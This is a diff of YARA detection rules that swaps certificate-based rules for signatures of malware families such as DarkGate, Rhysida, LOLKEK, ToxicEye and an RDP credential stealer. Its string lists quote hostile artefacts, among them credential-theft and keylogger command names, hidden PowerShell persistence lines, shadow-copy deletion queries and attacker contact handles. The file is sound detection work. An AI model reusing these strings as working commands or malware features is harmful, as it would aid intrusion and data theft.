-rule DITEKSHEN_INDICATOR_KB_CERT_00C667Ffe3A5B0A5Ae7Cf3A9E41682E91B : FILE
+rule DITEKSHEN_MALWRE_Win_Darkgate : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects DarkGate infostealer and coinminer"
 		author = "ditekSHen"
-		id = "509dcc22-1202-5b6e-a602-6b06c282b28d"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "4488e1e6-daac-5832-8326-3151c834daf1"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6609-L6623"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10765-L10789"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "6d3d0cfb42758f917b003f7979f7123c1789c9e9b4e01b1aebf265a298eac08f"
+		logic_hash = "805a04bbb3915d539e76927393384a2786c25490e8b9fc151d5b12415247578b"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "6b66ba34ff01e0dab6e68ba244d991578a69c4ad"
-		importance = 20
+
+	strings:
+		$x1 = "SYSTEM Elevation: Completed, new DarkGate connection with SYSTEM privileges" ascii
+		$x2 = "-u 0xDark" ascii
+		$x3 = "DarkGate" ascii
+		$x4 = "/c cmdkey /generic:\"127.0.0.2\" /user:\"SafeMode\" /pass:\"darkgatepassword0\"" ascii
+		$s1 = "c:\\temp\\crash.txt" ascii
+		$s2 = "/cookiesfile \"" ascii
+		$s3 = "/c rmdir /s /q \"" ascii
+		$s4 = "/c xcopy /E /I /Y \"%s\" \"%s\" && exit" ascii
+		$s5 = "U_MemScan" ascii
+		$s6 = "U_Google_AD" ascii
+		$s7 = "untBotUtils" ascii
+		$s8 = "____padoru____" ascii
+		$s9 = "u_SysHook" ascii
+		$s10 = "zLAxuU0kQKf3sWE7ePRO2imyg9GSpVoYC6rhlX48ZHnvjJDBNFtMd1I5acwbqT+=" ascii
+		$s11 = "C:\\Windows\\System32\\ntdll.dll" fullword ascii
+		$s12 = /(SYSTEM )?Elevation: (Cannot|I already|AT RAW|FAILURE)/ ascii
+		$s13 = /Stub: (WARNING:|Configuration updated:|Global Ping Invoked)/ ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "NAILS UNLIMITED LIMITED" and (pe.signatures[i].serial=="c6:67:ff:e3:a5:b0:a5:ae:7c:f3:a9:e4:16:82:e9:1b" or pe.signatures[i].serial=="00:c6:67:ff:e3:a5:b0:a5:ae:7c:f3:a9:e4:16:82:e9:1b"))
+		( uint16(0)==0x5a4d and ((3 of ($x*)) or (2 of ($x*) and 3 of ($s*)) or (1 of ($x*) and 5 of ($s*)) or (6 of ($s*)))) or (10 of them )
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_Sagsanlgs : FILE
+rule DITEKSHEN_MALWARE_Win_Rookie_Downloader : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detect malware downlaoder, variant of ZombieBoy downloader"
 		author = "ditekSHen"
-		id = "b08e46a5-de76-5711-98dc-2144c7bbe66f"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "a991eecb-5275-5e33-bea4-e709590474a8"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6639-L6650"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10791-L10804"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "3ab10d8605f501f3c4f3a3afa31c5b001e03354846ff1953e7e36ceb9b564bf6"
+		logic_hash = "6d5625c2cd7e3a51c2fce9948e691ff2d1b7cf85083708790f89e15c6522059b"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "a6073f35adbdfe26ddc0f647953acc3a9bd33962"
-		importance = 20
+		clamav1 = "MALWARE.Win.Trojan.RookIE-Downloader"
+
+	strings:
+		$s1 = "shell:::{2559a1f3-21d7-11d4-bdaf-00c04f60b9f0}" fullword ascii
+		$s2 = "taskkill /f /im hh.exe" fullword ascii
+		$s3 = "RookIE/1.0" fullword ascii
+		$s4 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\0" fullword ascii
+		$s5 = "#32770" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Sagsanlgs" and pe.signatures[i].serial=="00")
+		uint16(0)==0x5a4d and 4 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00989A33B72A2Aa29E32D0A5E155C53963 : FILE
+rule DITEKSHEN_MALWARE_Win_Fiber : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Fiber .NET injector"
 		author = "ditekSHen"
-		id = "59fcdc74-ca44-5d30-b9b0-5e9c7a3b50f3"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "0e562e2e-cb91-5acf-bb8f-5e7e7d971a3d"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6668-L6682"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10806-L10842"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f016093cd512bcbf31814ff1619441e476b3988d0670f469f6311eda37ae295d"
+		logic_hash = "bd6c2c02272fe59c8d7de533197f15d94b5532d32875f01e3e4bd52506456a34"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "3f53d410d2d959197f4a93d81a898f424941e11f"
-		importance = 20
+
+	strings:
+		$x1 = "Fiber.dll" fullword ascii
+		$s1 = "-WindowStyle Hidden Copy-Item -Path *.vbs -Destination" wide
+		$s2 = "-WindowStyle Hidden {0} -WindowStyle Hidden Start-Sleep 5; Start-Process {1}" wide
+		$s3 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" wide
+		$s4 = "WScript.Shell" fullword wide
+		$s5 = "{0}_{1:N}.lnk" fullword wide
+		$s6 = "notepad.exe,0" fullword wide
+		$i1 = "AppLaunch.exe" fullword wide
+		$i2 = "aspnet_regbrowsers.exe" fullword wide
+		$i3 = "cvtres.exe" fullword wide
+		$i4 = "ilasm.exe" fullword wide
+		$i5 = "jsc.exe" fullword wide
+		$i6 = "MSBuild.exe" fullword wide
+		$i7 = "RegAsm.exe" fullword wide
+		$i8 = "RegSvcs.exe" fullword wide
+		$v1 = "is tampered" wide
+		$v2 = "Debugger Detected" wide
+		$v3 = "RepositoryUrl" ascii
+		$v4 = { 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00
+                74 00 75 00 61 00 6c 00 20 00 00 0b 41 00 6c 00
+                6c 00 6f 00 63 00 00 0d 57 00 72 00 69 00 74 00
+                65 00 20 00 00 11 50 00 72 00 6f 00 63 00 65 00
+                73 00 73 00 20 00 00 0d 4d 00 65 00 6d 00 6f 00
+                72 00 79 00 00 0f 50 00 72 00 6f 00 74 00 65 00
+                63 00 74 00 00 0b 4f 00 70 00 65 00 6e 00 20 00
+                00 0f 50 00 72 00 6f 00 63 00 65 00 73 00 73 00
+                00 0d 43 00 6c 00 6f 00 73 00 65 00 20 00 00 0d
+                48 00 61 00 6e 00 64 00 6c 00 65 00 00 0f 6b 00
+                65 00 72 00 6e 00 65 00 6c }
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "TAKE CARE SP Z O O" and (pe.signatures[i].serial=="98:9a:33:b7:2a:2a:a2:9e:32:d0:a5:e1:55:c5:39:63" or pe.signatures[i].serial=="00:98:9a:33:b7:2a:2a:a2:9e:32:d0:a5:e1:55:c5:39:63"))
+		uint16(0)==0x5a4d and ((1 of ($x*) and 3 of ($s*) and 2 of ($i*)) or (4 of ($s*) and 4 of ($i*)) or (2 of ($s*) and 6 of ($i*)) or (1 of ($x*) and 3 of ($v*)) or ( all of ($v*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00B8F726508Cf1D7B7913Bf4Bbd1E5C19C : FILE
+rule DITEKSHEN_MALWARE_Win_Unknown_Packedloader_01 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
-		author = "ditekSHen"
-		id = "0acaaed9-ba18-56b0-95b9-e05181843129"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		description = "Detects unknown loader / packer. Observed running LummaStealer"
+		author = "ditekShen"
+		id = "2969090f-dff9-5745-b87d-a031741dd2e0"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6684-L6698"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10844-L10863"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "71eb50a47465d69dbdd488c57b3fd9f70a4dd3b0bc086ed14038320928bc947e"
+		logic_hash = "6fd9075793b55e04c68bb13d21b88741889a9c37a0a9d1a19d895c7b68af4506"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "0711adcedb225b82dc32c1435ff32d0a1e54911a"
-		importance = 20
+
+	strings:
+		$s1 = "Error at hooking API \"%S\"" wide
+		$s2 = "Dumping first %d bytes:" wide
+		$s3 = "Error at initialization of bundled DLL: %s" wide
+		$s4 = "GetMemoryForDLL()" ascii
+		$s5 = "type=activation&code=" ascii
+		$s6 = "activation.php?code=" ascii
+		$s7 = "&hwid=" ascii
+		$s8 = "&hash=" ascii
+		$s9 = "type=deactivation&hash=" ascii
+		$s10 = "deactivation.php?hash=" ascii
+		$s11 = "BANNED" fullword ascii
+		$s12 = "GetAdaptersInfo" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "TMerkuri LLC" and (pe.signatures[i].serial=="b8:f7:26:50:8c:f1:d7:b7:91:3b:f4:bb:d1:e5:c1:9c" or pe.signatures[i].serial=="00:b8:f7:26:50:8c:f1:d7:b7:91:3b:f4:bb:d1:e5:c1:9c"))
+		uint16(0)==0x5a4d and 11 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0Aa099E64E214D655801Ea38Ad876711 : FILE
+rule DITEKSHEN_MALWARE_Win_LOLKEK : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
-		author = "ditekSHen"
-		id = "00b9cd1f-e389-51fd-8a08-73334bb0d0ef"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		description = "Detects LOLKEK / GlobeImposter ransowmare"
+		author = "ditekShen"
+		id = "96374c8d-2ef7-5706-a96f-27d60f73f8c1"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6700-L6712"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10865-L10882"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a4211bc2f3cedb8b135566d4b22251523a3a2bbdb04c1f1c5b1336ae7c198773"
+		logic_hash = "047492f8b7b56c75cfdcc4359de2b02a76cf9591b902171785806987e552995a"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "0789b35fd5c2ef8142e6aae3b58fff14e4f13136"
-		hash1 = "9f90e6711618a1eab9147f90bdedd606fd975b785915ae37e50e7d2538682579"
-		importance = 20
+
+	strings:
+		$s1 = "$Recycle.bin" fullword wide
+		$s2 = "\\\\?\\%c:" fullword wide
+		$s3 = ".MMM" fullword wide
+		$s4 = "ReadMe.txt" fullword wide
+		$s5 = "select * from Win32_ShadowCopy" fullword wide
+		$s6 = "Win32_ShadowCopy.ID='%s'" fullword wide
+		$s7 = "W3CRYPTO LOCKER" ascii
+		$s8 = "http://mmcb" ascii
+		$s9 = "yip.su/2QstD5" ascii
+		$s10 = "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddInProcess32.exe" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Psiphon Inc." and pe.signatures[i].serial=="0a:a0:99:e6:4e:21:4d:65:58:01:ea:38:ad:87:67:11")
+		uint16(0)==0x5a4d and 7 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_54Cc50D147Fa549E3F721C754E4E3A91 : FILE
+rule DITEKSHEN_MALWARE_Win_Spacecolon : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Spacecolon ransomware"
 		author = "ditekSHen"
-		id = "2007dabd-74c0-5cc7-986c-21fb1df9136a"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "38bde0b6-96a3-5081-b152-c251d7a2ffac"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6714-L6726"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10884-L10904"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "367237a9370542a4506fb13683f0a91e4bf5eb871e4b9f62b4cae8316bdf2d9a"
+		logic_hash = "d6e55c45f9df98bc152dadc1ba0953b4b89b5a503af0fc5ba53e12a1aa4f6d28"
 		score = 75
-		quality = 75
+		quality = 48
 		tags = "FILE"
-		thumbprint = "e3143f0df21fced02fe5525b297ed4cd389c66e3"
-		hash1 = "85adf569d259dc53c5099fea6e90ff3a614a406b4308ebdf9f40e8bed151f526"
-		importance = 20
+
+	strings:
+		$s1 = "eraseext" fullword ascii
+		$s2 = "*.encrypted" fullword ascii
+		$s3 = "TIMATOMA#" fullword wide
+		$s4 = ".Encrypted" fullword wide
+		$s5 = "Already Encrypted" wide
+		$s6 = "note.txt" fullword wide
+		$s7 = "HOW TO RECOVERY FILES.TXT" fullword wide
+		$s8 = "taskkill /f /im \"" wide nocase
+		$s9 = "\\kill.bat" wide
+		$s10 = "Search cancelled -" fullword wide
+		$s11 = "%d folder(s) searched and %d file(s) found - %.3f second(s)" fullword wide
+		$s12 = "Our TOX ID :" ascii
+		$s13 = "tufhackteam@gmail.com" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Ralink Technology Corporation" and pe.signatures[i].serial=="54:cc:50:d1:47:fa:54:9e:3f:72:1c:75:4e:4e:3a:91")
+		uint16(0)==0x5a4d and 8 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_1E508Bb2398808Bc420A5A1F67Ba5D0B : FILE
+rule DITEKSHEN_MALWARE_Win_Rhysida : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Rhysida ransomware"
 		author = "ditekSHen"
-		id = "32f79595-6526-5dea-824a-cc073b6a2b5c"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "a70bdf19-3b56-5dc0-be74-20a2e85099cc"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6728-L6740"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10906-L10920"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "71b7efab5359408e3897498ce031c8375e2d67bfc8ff15c685df5ac6dd4bb015"
+		logic_hash = "fb15f497cdee40b237dfc2aafcde2da95ff2a6f9c162273862ec1a0053269932"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "63a3ca4114aef8d5076ec84ff78d2319d5305e5b"
-		hash1 = "7ff82a6621e0dd7c29c2e6bcd63920f9b58bc254df9479618b912a1e788ff18b"
-		importance = 20
+
+	strings:
+		$s1 = "cmd.exe /c reg add \"HK" ascii
+		$s2 = "rundll32.exe user32.dll,UpdatePerUserSystemParameters" fullword ascii
+		$s3 = "C:/Users/Public/bg.jpg" fullword ascii
+		$s4 = "CriticalBreachDetected.pdf" fullword ascii
+		$s5 = "rhysida" ascii
+		$s6 = "cmd.exe /c reg delete \"HKCU\\Cont" ascii
+		$s7 = "Rhysida-" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "WakeNet AB" and pe.signatures[i].serial=="1e:50:8b:b2:39:88:08:bc:42:0a:5a:1f:67:ba:5d:0b")
+		uint16(0)==0x5a4d and 5 of ($s*) or (3 of ($s*) and #s1>5)
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_008B3333D32B2C2A1D33B41Ba5Db9D4D2D : FILE
+rule DITEKSHEN_MALWARE_Win_Povertystealer : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects PovertyStealer"
 		author = "ditekSHen"
-		id = "90947492-2f42-5d90-b635-62a5f7e79ffc"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "a431b82a-81cb-51a9-b3a8-61d71f36a60e"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6742-L6757"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10922-L10935"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c15a248dd52e7e888da381fda296cf19c53196ef52c4c4ce74af646d427eccde"
+		logic_hash = "0d8a4dd1f3a9935935878840d19e16d91d240da776f99eb2dd3f12df96efa1d9"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "7ecaa9a507a6672144a82d453413591067fc1d27"
-		hash1 = "5d5684ccef3ce3b6e92405f73794796e131d3cb1424d757828c3fb62f70f6227"
-		importance = 20
+		clamav1 = "MALWARE.Win.Trojan.PovertyStealer"
+
+	strings:
+		$x1 = "Poverty is the parent of crime." ascii
+		$s2 = "OperationSystem: %d:%d:%d" ascii
+		$s3 = "ScreenSize: {lWidth=%d, lHeight=%d}" ascii
+		$s4 = "VideoAdapter #%d: %s" ascii
+		$s5 = "$d.log" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "BOOK CAF\\xC3\\x89" and (pe.signatures[i].serial=="8b:33:33:d3:2b:2c:2a:1d:33:b4:1b:a5:db:9d:4d:2d" or pe.signatures[i].serial=="00:8b:33:33:d3:2b:2c:2a:1d:33:b4:1b:a5:db:9d:4d:2d"))
+		(( uint16(0)==0x5a4d and (1 of ($x*) or all of ($s*))) or all of them )
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_B548765Eebe9468348Af40B9891C1E63 : FILE
+rule DITEKSHEN_MALWARE_Win_Janelarat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects JanelaRAT"
 		author = "ditekSHen"
-		id = "0ee1a31b-6324-5dbd-bd0d-765bc4891415"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "6a49eeda-307f-5429-aa24-658223360239"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6759-L6771"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10937-L10957"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "db8136f63657130bb3fe2527bb597e70bc3d46395aa3137810f4ee4b4de6c6ec"
+		logic_hash = "9f10112b6ffa382b03511e7b6c8757438d5910ee2c24d650d05bb53abfff3860"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "5987703bc4a3c739f92af8fed1747394880e1a39"
-		hash1 = "501dee454ba470aa09ceceb4c93ab7e9e913729e47fcc184a2e2d675f8234a58"
-		importance = 20
+
+	strings:
+		$x1 = "<Janela>k__" ascii
+		$x2 = "janela" fullword ascii
+		$x3 = "\\CSHARP\\RAT\\" ascii
+		$s1 = "<SystemInfos>k__" ascii
+		$s2 = "<SendKeepAlives>b__" ascii
+		$s3 = "hookStruct" fullword ascii
+		$s4 = "[^a-zA-Z]" fullword wide
+		$s5 = "GetRecycled" fullword ascii
+		$s6 = "import \"bcl.proto\";" wide
+		$s7 = "\\KL_FINAL\\" ascii
+		$s8 = "\\KL_FASEAVAST" ascii
+		$s9 = "\\kl c++" ascii
+		$s10 = "VisaoAPP" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OSIRIS Corporation" and pe.signatures[i].serial=="b5:48:76:5e:eb:e9:46:83:48:af:40:b9:89:1c:1e:63")
+		uint16(0)==0x5a4d and ( all of ($x*) or (2 of ($x*) and 3 of ($s*)) or (1 of ($x*) and 5 of ($s*)) or (6 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_4697C7Ddd3E37Fe275Fdc6961A9093E3 : FILE
+rule DITEKSHEN_MALWARE_Win_Qwixxrat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects QwixxRAT. Uses ToxicEye / TelegramRAT as base (MALWARE_Win_TelegramRAT)"
 		author = "ditekSHen"
-		id = "9d611fee-cf29-523e-86f7-5c67f0e563a9"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "0a8f2f6f-aa78-56c2-aca0-d575fbf0b91e"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6773-L6785"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10959-L10971"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b3de1a753ac7a2f43ae64ee54fc81d92f70c32d4a04398a6dfc9a6ec856d8300"
+		logic_hash = "e6e44697e393da35215f7835f122cb74b05dbeebb558345d5110d6fbc809f4dd"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "ef24ae3635929c371d1427901082be9f76e58d9a"
-		hash1 = "fb3f622cf5557364a0a3abacc3e9acf399b3631bf3630acb8132514c486751e7"
-		importance = 20
+
+	strings:
+		$s1 = /Qwixx(\s)?Stealer/ ascii wide
+		$s2 = "discord.gg/UXVFHzTjYe" wide
+		$s3 = "t.me/QwixxTwixx" wide
+		$s4 = "Secret Qwixx" wide
+		$s5 = "\\Qwixx Rat\\" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "\\xC3\\x89tienne Hill" and pe.signatures[i].serial=="46:97:c7:dd:d3:e3:7f:e2:75:fd:c6:96:1a:90:93:e3")
+		uint16(0)==0x5a4d and 2 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_74C94Ef697Dc9783F845D26Dccc1E7Fd : FILE
+rule DITEKSHEN_MALWARE_Win_Toxiceye : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects ToxicEye / TelegramRAT. Observed used as the basis for many infostealers"
 		author = "ditekSHen"
-		id = "3cd08af1-8999-59a8-a679-a39871ecf68e"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "99304f11-2444-5864-b174-514bb5bef0f7"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6787-L6799"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10973-L10991"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "226dfe366c31e9cb38910df7d6cb2037c545745594fd133d7b7359175f153a90"
+		logic_hash = "ee01c107dd295b923801c0d1a77b1534d3a5f2abf8d2cfa93c6786a1b0553504"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "6daa64d7af228de45ded86ad4d1aeaa360295f56"
-		hash1 = "45e35c9b095871fbc9b85afff4e79dd36b7812b96a302e1ccc65ce7668667fe6"
-		importance = 20
+
+	strings:
+		$s1 = "[~] Handling command" wide
+		$s2 = "[?] Sleeping {0}" wide
+		$s3 = "GETPASSWORDS" wide
+		$s4 = "FORKBOMB" wide
+		$s5 = "SENDKEYPRESS" wide
+		$s6 = "KEYLOGGER" wide
+		$s7 = "/ToxicEye/master/TelegramRAT/" wide
+		$s8 = "desktopScreenshot" ascii
+		$s9 = "MeltFile" ascii
+		$s10 = "AutoStealer" ascii
+		$s11 = /\/LimerBoy\/(ToxicEye|Adamantium-Thief|hackpy)/ wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "CIBIKART d.o.o." and pe.signatures[i].serial=="74:c9:4e:f6:97:dc:97:83:f8:45:d2:6d:cc:c1:e7:fd")
+		uint16(0)==0x5a4d and 7 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_5Dd1Cb148A90123Dcc13498B54E5A798 : FILE
+rule DITEKSHEN_MALWARE_Win_Rdpcredsstealerinjector : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects RDP Credentials Stealer injector"
 		author = "ditekSHen"
-		id = "8bdc91bc-5a59-5c22-8d39-fe1bf4267813"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "221b7d64-6585-5f3a-bffa-bde05390db73"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6801-L6812"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11012-L11025"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9b5ec1b9d3fd15259d3628b5199b274f85674b404c57329d8af4f779ae357454"
+		logic_hash = "0dfade8dde987f5134158b7c4abc3eaf8dcece86e1ff2ab1da4466da316939a2"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "3a7c692345b67c7a2b21a6d94518588c8bbe514c"
-		importance = 20
+		clamav1 = "MALWARE.Win.Trojan.RDPCredsStealer-Injector"
+
+	strings:
+		$s1 = "\\APIHookInjectorBin\\" ascii
+		$s2 = "\\RDPCredsStealerDLL.dll" ascii
+		$s3 = "DLL Injected" ascii
+		$s4 = "Code Injected" ascii
+		$s5 = /(OpenProcess|VirtualAllocEx|CreateRemoteThread)\(\) failed:/ fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "33adab6a2ixdac07i4cLb4ac05j6yG2ew95e" and pe.signatures[i].serial=="5d:d1:cb:14:8a:90:12:3d:cc:13:49:8b:54:e5:a7:98")
+		uint16(0)==0x5a4d and 3 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00A758504E7971869D0Aec2775Fffa03D5 : FILE
